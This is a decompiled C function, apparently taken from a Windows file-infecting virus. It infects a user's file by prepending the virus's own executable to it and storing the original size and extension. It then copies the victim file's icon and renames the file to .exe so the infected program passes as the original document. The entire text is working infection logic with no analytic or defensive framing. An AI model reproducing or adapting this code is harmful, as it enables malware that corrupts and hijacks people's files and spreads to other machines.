int
__stdcall InfectedFileOfHide_4035BD(
LPCSTR
lpUserFilePath,
int
lpUserFileEx,
int
nNumber)
{
int
_hUserFile;
signed
int
nUserFileSize;
HANDLE
hModuleVirusesFile;
DWORD
nVirusesModulesize;
HGLOBAL
lpMemoryAlloc;
HGLOBAL
__lpMemoryAlloc;
__int64
nFileExFilexOffset;
CHAR
*lpUserFilePathBuffer;
int
lpUserFilePathPtr;
DWORD
NumberOfBytesWritten;
DWORD
NumberOfBytesRead;
LPCVOID
_lpMemoryAlloc;
DWORD
nVirusesAndUserFileSize;
DWORD
_nUserFileSize;
DWORD
nNumberOfBytesVirusesFileToRead;
HANDLE
hUserFile;
HANDLE
hVirusesHandle;
CHAR
szUserFilePathBuffer;
CHAR
FileVirusesName;
_hUserFile = (
int
)CreateFileA(lpUserFilePath, 0xC0000000, 0, 0, 3u, 0x80u, 0);
if
(_hUserFile != -1)
{
hUserFile = (
HANDLE
)_hUserFile;
nUserFileSize = GetFileSize((
HANDLE
)_hUserFile, &_nUserFileSize);
if
(nUserFileSize > 0x8000000 || _nUserFileSize)
{
_hUserFile = CloseHandle(hUserFile);
}
else
{
_nUserFileSize = nUserFileSize;
GetModuleFileNameA(0, &FileVirusesName, 0x104u);
hModuleVirusesFile = CreateFileA(&FileVirusesName, 0x80000000, 3u, 0, 3u, 0x80u, 0);
hVirusesHandle = hModuleVirusesFile;
nVirusesModulesize = GetFileSize(hModuleVirusesFile, &nNumberOfBytesVirusesFileToRead);
nNumberOfBytesVirusesFileToRead = nVirusesModulesize;
nVirusesAndUserFileSize = _nUserFileSize + nVirusesModulesize;
lpMemoryAlloc = GlobalAlloc(0x40u, _nUserFileSize + nVirusesModulesize);
if
(lpMemoryAlloc)
{
_lpMemoryAlloc = lpMemoryAlloc;
__lpMemoryAlloc = lpMemoryAlloc;
ReadFile(hVirusesHandle, lpMemoryAlloc, nNumberOfBytesVirusesFileToRead, &NumberOfBytesRead, 0);
ReadFile(hUserFile, (
char
*)__lpMemoryAlloc + nNumberOfBytesVirusesFileToRead,_nUserFileSize, &NumberOfBytesRead,
0);
setFileInfor_403B61((
int
)&_nUserFileSize, (
int
)_lpMemoryAlloc, dword_402000, (
int
)&_nUserFileSize, 4);
LODWORD(nFileExFilexOffset) = setFileInfor_403B61(
(
int
)&lpUserFileEx,
(
int
)_lpMemoryAlloc,
dword_402008,
(
int
)&lpUserFileEx,
4);
SetUserFileIcon_403573(nFileExFilexOffset, (
int
)_lpMemoryAlloc, nNumber);
SetFilePointer(hUserFile, 0, 0, 0);
WriteFile(hUserFile, _lpMemoryAlloc, nVirusesAndUserFileSize, &NumberOfBytesWritten, 0);
GlobalFree((
HGLOBAL
)_lpMemoryAlloc);
CloseHandle(hVirusesHandle);
CloseHandle(hUserFile);
RtlMoveMemory(&szUserFilePathBuffer, lpUserFilePath, 0x104);
lpUserFilePathBuffer = &szUserFilePathBuffer;
while
(*lpUserFilePathBuffer++ != 0)
;
*lpUserFilePathBuffer = 0;
lpUserFilePathPtr = (
int
)(lpUserFilePathBuffer - 5);
*(_DWORD *)lpUserFilePathPtr =
'exe.'
;
_hUserFile = MoveFileA(lpUserFilePath, &szUserFilePathBuffer);
if
(!_hUserFile)
{
_hUserFile = GetLastError();
if
(_hUserFile == 0xB7)
{
*(_DWORD *)lpUserFilePathPtr = lpUserFileEx;
*(_DWORD *)(lpUserFilePathPtr + 4) =
'exe.'
;
*(_DWORD *)(lpUserFilePathPtr + 8) = 0;
_hUserFile = MoveFileA(lpUserFilePath, &szUserFilePathBuffer);
}
}
}
else
{
CloseHandle(hVirusesHandle);
_hUserFile = CloseHandle(hUserFile);
}
}
}
return
_hUserFile;
}